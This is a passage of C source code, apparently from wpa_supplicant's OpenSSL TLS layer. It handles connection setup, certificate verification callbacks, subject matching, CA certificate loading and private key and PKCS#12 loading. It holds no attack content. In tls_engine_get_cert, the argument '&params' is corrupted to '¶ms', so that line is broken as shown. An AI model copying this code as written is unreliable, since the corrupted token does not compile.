EVP_PKEY_free(conn->private_key);
conn->private_key = NULL;
}
return ret;
#else /* OPENSSL_NO_ENGINE */
return 0;
#endif /* OPENSSL_NO_ENGINE */
}
static void tls_engine_deinit(struct tls_connection *conn)
{
#ifndef OPENSSL_NO_ENGINE
wpa_printf(MSG_DEBUG, "ENGINE: engine deinit");
if (conn->private_key) {
EVP_PKEY_free(conn->private_key);
conn->private_key = NULL;
}
if (conn->engine) {
ENGINE_finish(conn->engine);
conn->engine = NULL;
}
#endif /* OPENSSL_NO_ENGINE */
}
int tls_get_errors(void *ssl_ctx)
{
int count = 0;
unsigned long err;
while ((err = ERR_get_error())) {
wpa_printf(MSG_INFO, "TLS - SSL error: %s",
ERR_error_string(err, NULL));
count++;
}
return count;
}
struct tls_connection * tls_connection_init(void *ssl_ctx)
{
SSL_CTX *ssl = ssl_ctx;
struct tls_connection *conn;
long options;
conn = os_zalloc(sizeof(*conn));
if (conn == NULL)
return NULL;
conn->ssl = SSL_new(ssl);
if (conn->ssl == NULL) {
tls_show_errors(MSG_INFO, __func__,
"Failed to initialize new SSL connection");
os_free(conn);
return NULL;
}
SSL_set_app_data(conn->ssl, conn);
options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
SSL_OP_SINGLE_DH_USE;
#ifdef SSL_OP_NO_COMPRESSION
options |= SSL_OP_NO_COMPRESSION;
#endif /* SSL_OP_NO_COMPRESSION */
SSL_set_options(conn->ssl, options);
conn->ssl_in = BIO_new(BIO_s_mem());
if (!conn->ssl_in) {
tls_show_errors(MSG_INFO, __func__,
"Failed to create a new BIO for ssl_in");
SSL_free(conn->ssl);
os_free(conn);
return NULL;
}
conn->ssl_out = BIO_new(BIO_s_mem());
if (!conn->ssl_out) {
tls_show_errors(MSG_INFO, __func__,
"Failed to create a new BIO for ssl_out");
SSL_free(conn->ssl);
BIO_free(conn->ssl_in);
os_free(conn);
return NULL;
}
SSL_set_bio(conn->ssl, conn->ssl_in, conn->ssl_out);
return conn;
}
void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return;
SSL_free(conn->ssl);
tls_engine_deinit(conn);
os_free(conn->subject_match);
os_free(conn->altsubject_match);
os_free(conn->session_ticket);
os_free(conn);
}
int tls_connection_established(void *ssl_ctx, struct tls_connection *conn)
{
return conn ? SSL_is_init_finished(conn->ssl) : 0;
}
int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn)
{
if (conn == NULL)
return -1;
/* Shutdown previous TLS connection without notifying the peer
* because the connection was already terminated in practice
* and "close notify" shutdown alert would confuse AS. */
SSL_set_quiet_shutdown(conn->ssl, 1);
SSL_shutdown(conn->ssl);
return 0;
}
static int tls_match_altsubject_component(X509 *cert, int type,
const char *value, size_t len)
{
GENERAL_NAME *gen;
void *ext;
int i, found = 0;
ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL);
for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) {
gen = sk_GENERAL_NAME_value(ext, i);
if (gen->type != type)
continue;
if (os_strlen((char *) gen->d.ia5->data) == len &&
os_memcmp(value, gen->d.ia5->data, len) == 0)
found++;
}
return found;
}
static int tls_match_altsubject(X509 *cert, const char *match)
{
int type;
const char *pos, *end;
size_t len;
pos = match;
do {
if (os_strncmp(pos, "EMAIL:", 6) == 0) {
type = GEN_EMAIL;
pos += 6;
} else if (os_strncmp(pos, "DNS:", 4) == 0) {
type = GEN_DNS;
pos += 4;
} else if (os_strncmp(pos, "URI:", 4) == 0) {
type = GEN_URI;
pos += 4;
} else {
wpa_printf(MSG_INFO, "TLS: Invalid altSubjectName "
"match '%s'", pos);
return 0;
}
end = os_strchr(pos, ';');
while (end) {
if (os_strncmp(end + 1, "EMAIL:", 6) == 0 ||
os_strncmp(end + 1, "DNS:", 4) == 0 ||
os_strncmp(end + 1, "URI:", 4) == 0)
break;
end = os_strchr(end + 1, ';');
}
if (end)
len = end - pos;
else
len = os_strlen(pos);
if (tls_match_altsubject_component(cert, type, pos, len) > 0)
return 1;
pos = end + 1;
} while (end);
return 0;
}
static enum tls_fail_reason openssl_tls_fail_reason(int err)
{
switch (err) {
case X509_V_ERR_CERT_REVOKED:
return TLS_FAIL_REVOKED;
case X509_V_ERR_CERT_NOT_YET_VALID:
case X509_V_ERR_CRL_NOT_YET_VALID:
return TLS_FAIL_NOT_YET_VALID;
case X509_V_ERR_CERT_HAS_EXPIRED:
case X509_V_ERR_CRL_HAS_EXPIRED:
return TLS_FAIL_EXPIRED;
case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT:
case X509_V_ERR_UNABLE_TO_GET_CRL:
case X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER:
case X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN:
case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY:
case X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT:
case X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE:
case X509_V_ERR_CERT_CHAIN_TOO_LONG:
case X509_V_ERR_PATH_LENGTH_EXCEEDED:
case X509_V_ERR_INVALID_CA:
return TLS_FAIL_UNTRUSTED;
case X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE:
case X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE:
case X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY:
case X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD:
case X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD:
case X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD:
case X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD:
case X509_V_ERR_CERT_UNTRUSTED:
case X509_V_ERR_CERT_REJECTED:
return TLS_FAIL_BAD_CERTIFICATE;
default:
return TLS_FAIL_UNSPECIFIED;
}
}
static struct wpabuf * get_x509_cert(X509 *cert)
{
struct wpabuf *buf;
u8 *tmp;
int cert_len = i2d_X509(cert, NULL);
if (cert_len <= 0)
return NULL;
buf = wpabuf_alloc(cert_len);
if (buf == NULL)
return NULL;
tmp = wpabuf_put(buf, cert_len);
i2d_X509(cert, &tmp);
return buf;
}
static void openssl_tls_fail_event(struct tls_connection *conn,
X509 *err_cert, int err, int depth,
const char *subject, const char *err_str,
enum tls_fail_reason reason)
{
union tls_event_data ev;
struct wpabuf *cert = NULL;
if (tls_global->event_cb == NULL)
return;
cert = get_x509_cert(err_cert);
os_memset(&ev, 0, sizeof(ev));
ev.cert_fail.reason = reason != TLS_FAIL_UNSPECIFIED ?
reason : openssl_tls_fail_reason(err);
ev.cert_fail.depth = depth;
ev.cert_fail.subject = subject;
ev.cert_fail.reason_txt = err_str;
ev.cert_fail.cert = cert;
tls_global->event_cb(tls_global->cb_ctx, TLS_CERT_CHAIN_FAILURE, &ev);
wpabuf_free(cert);
}
static void openssl_tls_cert_event(struct tls_connection *conn,
X509 *err_cert, int depth,
const char *subject)
{
struct wpabuf *cert = NULL;
union tls_event_data ev;
#ifdef CONFIG_SHA256
u8 hash[32];
#endif /* CONFIG_SHA256 */
if (tls_global->event_cb == NULL)
return;
os_memset(&ev, 0, sizeof(ev));
if (conn->cert_probe) {
cert = get_x509_cert(err_cert);
ev.peer_cert.cert = cert;
}
#ifdef CONFIG_SHA256
if (cert) {
const u8 *addr[1];
size_t len[1];
addr[0] = wpabuf_head(cert);
len[0] = wpabuf_len(cert);
if (sha256_vector(1, addr, len, hash) == 0) {
ev.peer_cert.hash = hash;
ev.peer_cert.hash_len = sizeof(hash);
}
}
#endif /* CONFIG_SHA256 */
ev.peer_cert.depth = depth;
ev.peer_cert.subject = subject;
tls_global->event_cb(tls_global->cb_ctx, TLS_PEER_CERTIFICATE, &ev);
wpabuf_free(cert);
}
static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx)
{
char buf[256];
X509 *err_cert;
int err, depth;
SSL *ssl;
struct tls_connection *conn;
char *match, *altmatch;
const char *err_str;
err_cert = X509_STORE_CTX_get_current_cert(x509_ctx);
err = X509_STORE_CTX_get_error(x509_ctx);
depth = X509_STORE_CTX_get_error_depth(x509_ctx);
ssl = X509_STORE_CTX_get_ex_data(x509_ctx,
SSL_get_ex_data_X509_STORE_CTX_idx());
X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf));
conn = SSL_get_app_data(ssl);
match = conn ? conn->subject_match : NULL;
altmatch = conn ? conn->altsubject_match : NULL;
if (!preverify_ok && !conn->ca_cert_verify)
preverify_ok = 1;
if (!preverify_ok && depth > 0 && conn->server_cert_only)
preverify_ok = 1;
err_str = X509_verify_cert_error_string(err);
#ifdef CONFIG_SHA256
if (preverify_ok && depth == 0 && conn->server_cert_only) {
struct wpabuf *cert;
cert = get_x509_cert(err_cert);
if (!cert) {
wpa_printf(MSG_DEBUG, "OpenSSL: Could not fetch "
"server certificate data");
preverify_ok = 0;
} else {
u8 hash[32];
const u8 *addr[1];
size_t len[1];
addr[0] = wpabuf_head(cert);
len[0] = wpabuf_len(cert);
if (sha256_vector(1, addr, len, hash) < 0 ||
os_memcmp(conn->srv_cert_hash, hash, 32) != 0) {
err_str = "Server certificate mismatch";
err = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
preverify_ok = 0;
}
wpabuf_free(cert);
}
}
#endif /* CONFIG_SHA256 */
if (!preverify_ok) {
wpa_printf(MSG_WARNING, "TLS: Certificate verification failed,"
" error %d (%s) depth %d for '%s'", err, err_str,
depth, buf);
openssl_tls_fail_event(conn, err_cert, err, depth, buf,
err_str, TLS_FAIL_UNSPECIFIED);
return preverify_ok;
}
wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - preverify_ok=%d "
"err=%d (%s) ca_cert_verify=%d depth=%d buf='%s'",
preverify_ok, err, err_str,
conn->ca_cert_verify, depth, buf);
if (depth == 0 && match && os_strstr(buf, match) == NULL) {
wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not "
"match with '%s'", buf, match);
preverify_ok = 0;
openssl_tls_fail_event(conn, err_cert, err, depth, buf,
"Subject mismatch",
TLS_FAIL_SUBJECT_MISMATCH);
} else if (depth == 0 && altmatch &&
!tls_match_altsubject(err_cert, altmatch)) {
wpa_printf(MSG_WARNING, "TLS: altSubjectName match "
"'%s' not found", altmatch);
preverify_ok = 0;
openssl_tls_fail_event(conn, err_cert, err, depth, buf,
"AltSubject mismatch",
TLS_FAIL_ALTSUBJECT_MISMATCH);
} else
openssl_tls_cert_event(conn, err_cert, depth, buf);
if (conn->cert_probe && preverify_ok && depth == 0) {
wpa_printf(MSG_DEBUG, "OpenSSL: Reject server certificate "
"on probe-only run");
preverify_ok = 0;
openssl_tls_fail_event(conn, err_cert, err, depth, buf,
"Server certificate chain probe",
TLS_FAIL_SERVER_CHAIN_PROBE);
}
return preverify_ok;
}
#ifndef OPENSSL_NO_STDIO
static int tls_load_ca_der(void *_ssl_ctx, const char *ca_cert)
{
SSL_CTX *ssl_ctx = _ssl_ctx;
X509_LOOKUP *lookup;
int ret = 0;
lookup = X509_STORE_add_lookup(ssl_ctx->cert_store,
X509_LOOKUP_file());
if (lookup == NULL) {
tls_show_errors(MSG_WARNING, __func__,
"Failed add lookup for X509 store");
return -1;
}
if (!X509_LOOKUP_load_file(lookup, ca_cert, X509_FILETYPE_ASN1)) {
unsigned long err = ERR_peek_error();
tls_show_errors(MSG_WARNING, __func__,
"Failed load CA in DER format");
if (ERR_GET_LIB(err) == ERR_LIB_X509 &&
ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) {
wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring "
"cert already in hash table error",
__func__);
} else
ret = -1;
}
return ret;
}
#endif /* OPENSSL_NO_STDIO */
static int tls_connection_ca_cert(void *_ssl_ctx, struct tls_connection *conn,
const char *ca_cert, const u8 *ca_cert_blob,
size_t ca_cert_blob_len, const char *ca_path)
{
SSL_CTX *ssl_ctx = _ssl_ctx;
/*
* Remove previously configured trusted CA certificates before adding
* new ones.
*/
X509_STORE_free(ssl_ctx->cert_store);
ssl_ctx->cert_store = X509_STORE_new();
if (ssl_ctx->cert_store == NULL) {
wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new "
"certificate store", __func__);
return -1;
}
SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb);
conn->ca_cert_verify = 1;
if (ca_cert && os_strncmp(ca_cert, "probe://", 8) == 0) {
wpa_printf(MSG_DEBUG, "OpenSSL: Probe for server certificate "
"chain");
conn->cert_probe = 1;
conn->ca_cert_verify = 0;
return 0;
}
if (ca_cert && os_strncmp(ca_cert, "hash://", 7) == 0) {
#ifdef CONFIG_SHA256
const char *pos = ca_cert + 7;
if (os_strncmp(pos, "server/sha256/", 14) != 0) {
wpa_printf(MSG_DEBUG, "OpenSSL: Unsupported ca_cert "
"hash value '%s'", ca_cert);
return -1;
}
pos += 14;
if (os_strlen(pos) != 32 * 2) {
wpa_printf(MSG_DEBUG, "OpenSSL: Unexpected SHA256 "
"hash length in ca_cert '%s'", ca_cert);
return -1;
}
if (hexstr2bin(pos, conn->srv_cert_hash, 32) < 0) {
wpa_printf(MSG_DEBUG, "OpenSSL: Invalid SHA256 hash "
"value in ca_cert '%s'", ca_cert);
return -1;
}
conn->server_cert_only = 1;
wpa_printf(MSG_DEBUG, "OpenSSL: Checking only server "
"certificate match");
return 0;
#else /* CONFIG_SHA256 */
wpa_printf(MSG_INFO, "No SHA256 included in the build - "
"cannot validate server certificate hash");
return -1;
#endif /* CONFIG_SHA256 */
}
if (ca_cert_blob) {
X509 *cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ca_cert_blob,
ca_cert_blob_len);
if (cert == NULL) {
tls_show_errors(MSG_WARNING, __func__,
"Failed to parse ca_cert_blob");
return -1;
}
if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) {
unsigned long err = ERR_peek_error();
tls_show_errors(MSG_WARNING, __func__,
"Failed to add ca_cert_blob to "
"certificate store");
if (ERR_GET_LIB(err) == ERR_LIB_X509 &&
ERR_GET_REASON(err) ==
X509_R_CERT_ALREADY_IN_HASH_TABLE) {
wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring "
"cert already in hash table error",
__func__);
} else {
X509_free(cert);
return -1;
}
}
X509_free(cert);
wpa_printf(MSG_DEBUG, "OpenSSL: %s - added ca_cert_blob "
"to certificate store", __func__);
return 0;
}
#ifdef CONFIG_NATIVE_WINDOWS
if (ca_cert && tls_cryptoapi_ca_cert(ssl_ctx, conn->ssl, ca_cert) ==
0) {
wpa_printf(MSG_DEBUG, "OpenSSL: Added CA certificates from "
"system certificate store");
return 0;
}
#endif /* CONFIG_NATIVE_WINDOWS */
if (ca_cert || ca_path) {
#ifndef OPENSSL_NO_STDIO
if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, ca_path) !=
1) {
tls_show_errors(MSG_WARNING, __func__,
"Failed to load root certificates");
if (ca_cert &&
tls_load_ca_der(ssl_ctx, ca_cert) == 0) {
wpa_printf(MSG_DEBUG, "OpenSSL: %s - loaded "
"DER format CA certificate",
__func__);
} else
return -1;
} else {
wpa_printf(MSG_DEBUG, "TLS: Trusted root "
"certificate(s) loaded");
tls_get_errors(ssl_ctx);
}
#else /* OPENSSL_NO_STDIO */
wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO",
__func__);
return -1;
#endif /* OPENSSL_NO_STDIO */
} else {
/* No ca_cert configured - do not try to verify server
* certificate */
conn->ca_cert_verify = 0;
}
return 0;
}
static int tls_global_ca_cert(SSL_CTX *ssl_ctx, const char *ca_cert)
{
if (ca_cert) {
if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, NULL) != 1)
{
tls_show_errors(MSG_WARNING, __func__,
"Failed to load root certificates");
return -1;
}
wpa_printf(MSG_DEBUG, "TLS: Trusted root "
"certificate(s) loaded");
#ifndef OPENSSL_NO_STDIO
/* Add the same CAs to the client certificate requests */
SSL_CTX_set_client_CA_list(ssl_ctx,
SSL_load_client_CA_file(ca_cert));
#endif /* OPENSSL_NO_STDIO */
}
return 0;
}
int tls_global_set_verify(void *ssl_ctx, int check_crl)
{
int flags;
if (check_crl) {
X509_STORE *cs = SSL_CTX_get_cert_store(ssl_ctx);
if (cs == NULL) {
tls_show_errors(MSG_INFO, __func__, "Failed to get "
"certificate store when enabling "
"check_crl");
return -1;
}
flags = X509_V_FLAG_CRL_CHECK;
if (check_crl == 2)
flags |= X509_V_FLAG_CRL_CHECK_ALL;
X509_STORE_set_flags(cs, flags);
}
return 0;
}
static int tls_connection_set_subject_match(struct tls_connection *conn,
const char *subject_match,
const char *altsubject_match)
{
os_free(conn->subject_match);
conn->subject_match = NULL;
if (subject_match) {
conn->subject_match = os_strdup(subject_match);
if (conn->subject_match == NULL)
return -1;
}
os_free(conn->altsubject_match);
conn->altsubject_match = NULL;
if (altsubject_match) {
conn->altsubject_match = os_strdup(altsubject_match);
if (conn->altsubject_match == NULL)
return -1;
}
return 0;
}
int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn,
int verify_peer)
{
static int counter = 0;
if (conn == NULL)
return -1;
if (verify_peer) {
conn->ca_cert_verify = 1;
SSL_set_verify(conn->ssl, SSL_VERIFY_PEER |
SSL_VERIFY_FAIL_IF_NO_PEER_CERT |
SSL_VERIFY_CLIENT_ONCE, tls_verify_cb);
} else {
conn->ca_cert_verify = 0;
SSL_set_verify(conn->ssl, SSL_VERIFY_NONE, NULL);
}
SSL_set_accept_state(conn->ssl);
/*
* Set session id context in order to avoid fatal errors when client
* tries to resume a session. However, set the context to a unique
* value in order to effectively disable session resumption for now
* since not all areas of the server code are ready for it (e.g.,
* EAP-TTLS needs special handling for Phase 2 after abbreviated TLS
* handshake).
*/
counter++;
SSL_set_session_id_context(conn->ssl,
(const unsigned char *) &counter,
sizeof(counter));
return 0;
}
static int tls_connection_client_cert(struct tls_connection *conn,
const char *client_cert,
const u8 *client_cert_blob,
size_t client_cert_blob_len)
{
if (client_cert == NULL && client_cert_blob == NULL)
return 0;
if (client_cert_blob &&
SSL_use_certificate_ASN1(conn->ssl, (u8 *) client_cert_blob,
client_cert_blob_len) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_ASN1 --> "
"OK");
return 0;
} else if (client_cert_blob) {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_certificate_ASN1 failed");
}
if (client_cert == NULL)
return -1;
#ifndef OPENSSL_NO_STDIO
if (SSL_use_certificate_file(conn->ssl, client_cert,
SSL_FILETYPE_ASN1) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (DER)"
" --> OK");
return 0;
} else {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_certificate_file (DER) failed");
}
if (SSL_use_certificate_file(conn->ssl, client_cert,
SSL_FILETYPE_PEM) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (PEM)"
" --> OK");
return 0;
} else {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_certificate_file (PEM) failed");
}
#else /* OPENSSL_NO_STDIO */
wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__);
#endif /* OPENSSL_NO_STDIO */
return -1;
}
static int tls_global_client_cert(SSL_CTX *ssl_ctx, const char *client_cert)
{
#ifndef OPENSSL_NO_STDIO
if (client_cert == NULL)
return 0;
if (SSL_CTX_use_certificate_file(ssl_ctx, client_cert,
SSL_FILETYPE_ASN1) != 1 &&
SSL_CTX_use_certificate_file(ssl_ctx, client_cert,
SSL_FILETYPE_PEM) != 1) {
tls_show_errors(MSG_INFO, __func__,
"Failed to load client certificate");
return -1;
}
return 0;
#else /* OPENSSL_NO_STDIO */
if (client_cert == NULL)
return 0;
wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__);
return -1;
#endif /* OPENSSL_NO_STDIO */
}
static int tls_passwd_cb(char *buf, int size, int rwflag, void *password)
{
if (password == NULL) {
return 0;
}
os_strlcpy(buf, (char *) password, size);
return os_strlen(buf);
}
#ifdef PKCS12_FUNCS
static int tls_parse_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, PKCS12 *p12,
const char *passwd)
{
EVP_PKEY *pkey;
X509 *cert;
STACK_OF(X509) *certs;
int res = 0;
char buf[256];
pkey = NULL;
cert = NULL;
certs = NULL;
if (!PKCS12_parse(p12, passwd, &pkey, &cert, &certs)) {
tls_show_errors(MSG_DEBUG, __func__,
"Failed to parse PKCS12 file");
PKCS12_free(p12);
return -1;
}
wpa_printf(MSG_DEBUG, "TLS: Successfully parsed PKCS12 data");
if (cert) {
X509_NAME_oneline(X509_get_subject_name(cert), buf,
sizeof(buf));
wpa_printf(MSG_DEBUG, "TLS: Got certificate from PKCS12: "
"subject='%s'", buf);
if (ssl) {
if (SSL_use_certificate(ssl, cert) != 1)
res = -1;
} else {
if (SSL_CTX_use_certificate(ssl_ctx, cert) != 1)
res = -1;
}
X509_free(cert);
}
if (pkey) {
wpa_printf(MSG_DEBUG, "TLS: Got private key from PKCS12");
if (ssl) {
if (SSL_use_PrivateKey(ssl, pkey) != 1)
res = -1;
} else {
if (SSL_CTX_use_PrivateKey(ssl_ctx, pkey) != 1)
res = -1;
}
EVP_PKEY_free(pkey);
}
if (certs) {
while ((cert = sk_X509_pop(certs)) != NULL) {
X509_NAME_oneline(X509_get_subject_name(cert), buf,
sizeof(buf));
wpa_printf(MSG_DEBUG, "TLS: additional certificate"
" from PKCS12: subject='%s'", buf);
/*
* There is no SSL equivalent for the chain cert - so
* always add it to the context...
*/
if (SSL_CTX_add_extra_chain_cert(ssl_ctx, cert) != 1) {
res = -1;
break;
}
}
sk_X509_free(certs);
}
PKCS12_free(p12);
if (res < 0)
tls_get_errors(ssl_ctx);
return res;
}
#endif /* PKCS12_FUNCS */
static int tls_read_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, const char *private_key,
const char *passwd)
{
#ifdef PKCS12_FUNCS
FILE *f;
PKCS12 *p12;
f = fopen(private_key, "rb");
if (f == NULL)
return -1;
p12 = d2i_PKCS12_fp(f, NULL);
fclose(f);
if (p12 == NULL) {
tls_show_errors(MSG_INFO, __func__,
"Failed to use PKCS#12 file");
return -1;
}
return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd);
#else /* PKCS12_FUNCS */
wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot read "
"p12/pfx files");
return -1;
#endif /* PKCS12_FUNCS */
}
static int tls_read_pkcs12_blob(SSL_CTX *ssl_ctx, SSL *ssl,
const u8 *blob, size_t len, const char *passwd)
{
#ifdef PKCS12_FUNCS
PKCS12 *p12;
p12 = d2i_PKCS12(NULL, (OPENSSL_d2i_TYPE) &blob, len);
if (p12 == NULL) {
tls_show_errors(MSG_INFO, __func__,
"Failed to use PKCS#12 blob");
return -1;
}
return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd);
#else /* PKCS12_FUNCS */
wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot parse "
"p12/pfx blobs");
return -1;
#endif /* PKCS12_FUNCS */
}
#ifndef OPENSSL_NO_ENGINE
static int tls_engine_get_cert(struct tls_connection *conn,
const char *cert_id,
X509 **cert)
{
/* this runs after the private key is loaded so no PIN is required */
struct {
const char *cert_id;
X509 *cert;
} params;
params.cert_id = cert_id;
params.cert = NULL;
if (!ENGINE_ctrl_cmd(conn->engine, "LOAD_CERT_CTRL",
0, ¶ms, NULL, 1)) {
wpa_printf(MSG_ERROR, "ENGINE: cannot load client cert with id"
" '%s' [%s]", cert_id,
ERR_error_string(ERR_get_error(), NULL));
return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED;
}
if (!params.cert) {
wpa_printf(MSG_ERROR, "ENGINE: did not properly cert with id"
" '%s'", cert_id);
return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED;
}
*cert = params.cert;
return 0;
}
#endif /* OPENSSL_NO_ENGINE */
static int tls_connection_engine_client_cert(struct tls_connection *conn,
const char *cert_id)
{
#ifndef OPENSSL_NO_ENGINE
X509 *cert;
if (tls_engine_get_cert(conn, cert_id, &cert))
return -1;
if (!SSL_use_certificate(conn->ssl, cert)) {
tls_show_errors(MSG_ERROR, __func__,
"SSL_use_certificate failed");
X509_free(cert);
return -1;
}
X509_free(cert);
wpa_printf(MSG_DEBUG, "ENGINE: SSL_use_certificate --> "
"OK");
return 0;
#else /* OPENSSL_NO_ENGINE */
return -1;
#endif /* OPENSSL_NO_ENGINE */
}
static int tls_connection_engine_ca_cert(void *_ssl_ctx,
struct tls_connection *conn,
const char *ca_cert_id)
{
#ifndef OPENSSL_NO_ENGINE
X509 *cert;
SSL_CTX *ssl_ctx = _ssl_ctx;
if (tls_engine_get_cert(conn, ca_cert_id, &cert))
return -1;
/* start off the same as tls_connection_ca_cert */
X509_STORE_free(ssl_ctx->cert_store);
ssl_ctx->cert_store = X509_STORE_new();
if (ssl_ctx->cert_store == NULL) {
wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new "
"certificate store", __func__);
X509_free(cert);
return -1;
}
if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) {
unsigned long err = ERR_peek_error();
tls_show_errors(MSG_WARNING, __func__,
"Failed to add CA certificate from engine "
"to certificate store");
if (ERR_GET_LIB(err) == ERR_LIB_X509 &&
ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) {
wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring cert"
" already in hash table error",
__func__);
} else {
X509_free(cert);
return -1;
}
}
X509_free(cert);
wpa_printf(MSG_DEBUG, "OpenSSL: %s - added CA certificate from engine "
"to certificate store", __func__);
SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb);
return 0;
#else /* OPENSSL_NO_ENGINE */
return -1;
#endif /* OPENSSL_NO_ENGINE */
}
static int tls_connection_engine_private_key(struct tls_connection *conn)
{
#ifndef OPENSSL_NO_ENGINE
if (SSL_use_PrivateKey(conn->ssl, conn->private_key) != 1) {
tls_show_errors(MSG_ERROR, __func__,
"ENGINE: cannot use private key for TLS");
return -1;
}
if (!SSL_check_private_key(conn->ssl)) {
tls_show_errors(MSG_INFO, __func__,
"Private key failed verification");
return -1;
}
return 0;
#else /* OPENSSL_NO_ENGINE */
wpa_printf(MSG_ERROR, "SSL: Configuration uses engine, but "
"engine support was not compiled in");
return -1;
#endif /* OPENSSL_NO_ENGINE */
}
static int tls_connection_private_key(void *_ssl_ctx,
struct tls_connection *conn,
const char *private_key,
const char *private_key_passwd,
const u8 *private_key_blob,
size_t private_key_blob_len)
{
SSL_CTX *ssl_ctx = _ssl_ctx;
char *passwd;
int ok;
if (private_key == NULL && private_key_blob == NULL)
return 0;
if (private_key_passwd) {
passwd = os_strdup(private_key_passwd);
if (passwd == NULL)
return -1;
} else
passwd = NULL;
SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb);
SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd);
ok = 0;
while (private_key_blob) {
if (SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA, conn->ssl,
(u8 *) private_key_blob,
private_key_blob_len) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_"
"ASN1(EVP_PKEY_RSA) --> OK");
ok = 1;
break;
} else {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA)"
" failed");
}
if (SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA, conn->ssl,
(u8 *) private_key_blob,
private_key_blob_len) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_"
"ASN1(EVP_PKEY_DSA) --> OK");
ok = 1;
break;
} else {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA)"
" failed");
}
if (SSL_use_RSAPrivateKey_ASN1(conn->ssl,
(u8 *) private_key_blob,
private_key_blob_len) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: "
"SSL_use_RSAPrivateKey_ASN1 --> OK");
ok = 1;
break;
} else {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_RSAPrivateKey_ASN1 failed");
}
if (tls_read_pkcs12_blob(ssl_ctx, conn->ssl, private_key_blob,
private_key_blob_len, passwd) == 0) {
wpa_printf(MSG_DEBUG, "OpenSSL: PKCS#12 as blob --> "
"OK");
ok = 1;
break;
}
break;
}
while (!ok && private_key) {
#ifndef OPENSSL_NO_STDIO
if (SSL_use_PrivateKey_file(conn->ssl, private_key,
SSL_FILETYPE_ASN1) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: "
"SSL_use_PrivateKey_File (DER) --> OK");
ok = 1;
break;
} else {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_PrivateKey_File (DER) "
"failed");
}
if (SSL_use_PrivateKey_file(conn->ssl, private_key,
SSL_FILETYPE_PEM) == 1) {
wpa_printf(MSG_DEBUG, "OpenSSL: "
"SSL_use_PrivateKey_File (PEM) --> OK");
ok = 1;
break;
} else {
tls_show_errors(MSG_DEBUG, __func__,
"SSL_use_PrivateKey_File (PEM) "
"failed");
}
#else /* OPENSSL_NO_STDIO */
wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO",
__func__);
#endif /* OPENSSL_NO_STDIO */
if (tls_read_pkcs12(ssl_ctx, conn->ssl, private_key, passwd)
== 0) {
